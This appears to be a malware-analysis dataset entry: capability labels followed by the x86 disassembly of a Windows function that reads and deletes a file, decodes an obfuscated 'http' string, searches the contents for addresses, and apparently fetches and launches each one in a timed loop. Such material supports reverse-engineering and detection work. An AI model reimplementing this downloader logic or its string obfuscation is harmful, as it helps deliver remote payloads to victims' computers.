Function at 0x4026f8
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
sub esp, 0x218
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
push 0x406a00
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x28]
mov ecx, esi
push eax
mov dword [esp + 0x28], esi
call fcn.00402d70
mov edx, dword [esp + 0x22c]
lea ecx, [esp + 0x20]
push 1
push ecx
push edx
mov ecx, esi
call fcn.004021b0
test al, al
jne 0x402761
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x218
ret 4
push 0
push 0x80
push 3
push 0
push 2
lea eax, [esp + 0x34]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402794
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x218
ret 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
lea edi, [ebp + 1]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x4069fc]
mov edx, dword [str.iuuq_00]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40282d
mov cl, byte [esp + edx + 0x10]
lea edi, [esp + 0x10]
dec cl
xor eax, eax
mov byte [esp + edx + 0x10], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x402810
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [sym.imp.MSVCRT.dll__strnicmp]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x14]
push ecx
push ebx
call esi
add esp, 0xc
test eax, eax
je 0x40288e
push ebp
push ebx
call fcn.00402330
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push ebx
call esi
add esp, 0x14
test eax, eax
je 0x40288e
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret 4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x125]
mov byte [esp + 0x124], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
mov ebp, ebx
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x4029d2
lea ecx, [esp + 0x10]
lea edi, [esp + 0x10]
push ecx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, esi
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x402916
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x124]
sub ecx, edx
push ecx
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
jmp 0x40293c
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x124]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
push 0x406a00
lea ecx, [esp + 0x24]
push 0x104
push ecx
mov ecx, esi
call fcn.00402d70
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x128]
push edx
push eax
mov ecx, esi
call fcn.004021b0
test al, al
je 0x40298d
push 5
lea ecx, [esp + 0x24]
push 0
push ecx
mov ecx, esi
call fcn.00402cc0
lea edi, [esp + 0x124]
or ecx, 0xffffffff
xor eax, eax
push 0x2710
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x128]
add ebp, ecx
mov ecx, 0x41
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4028c4
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret 4